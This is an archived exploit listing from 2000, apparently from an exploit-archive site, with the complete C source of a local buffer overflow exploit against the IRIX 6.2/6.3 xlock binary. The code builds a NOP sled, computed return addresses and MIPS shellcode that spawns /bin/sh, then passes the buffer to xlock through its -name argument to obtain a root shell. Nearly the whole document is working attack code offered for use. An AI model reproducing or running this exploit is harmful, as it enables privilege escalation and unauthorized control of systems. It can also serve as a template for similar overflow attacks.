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irix-xlock.c

irix-xlock.c
Posted Sep 7, 2000
Site lsd-pl.net

Irix 6.3/6.2 /usr/bin/X11/xlock local buffer overflow exploit.

tags | exploit, overflow, local
systems | irix
SHA-256 | b8d9843b397b57fccaa793ccf840cd9d1975e50c5e927c8e182b01e64aeea9fa

irix-xlock.c

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/*## copyright LAST STAGE OF DELIRIUM dec 1996 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/X11/xlock #*/

#define NOPNUM 2080
#define ADRNUM 1024
#define PCHNUM 2000
#define ALLIGN 2

char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;

char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
char buffer[10000],adr[4],pch[4],*b;
int i;

printf("copyright LAST STAGE OF DELIRIUM dec 1996 poland //lsd-pl.net/\n");
printf("/usr/bin/X11/xlock 6.2 6.3 IP:17,19,20,21,22,32\n\n");

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10800+640+2500;
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10800+640+960+32476;

b=buffer;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

execl("/usr/bin/X11/xlock","lsd","-name",buffer,0);
}
/* www.hack.co.za [13 August 2000]*/
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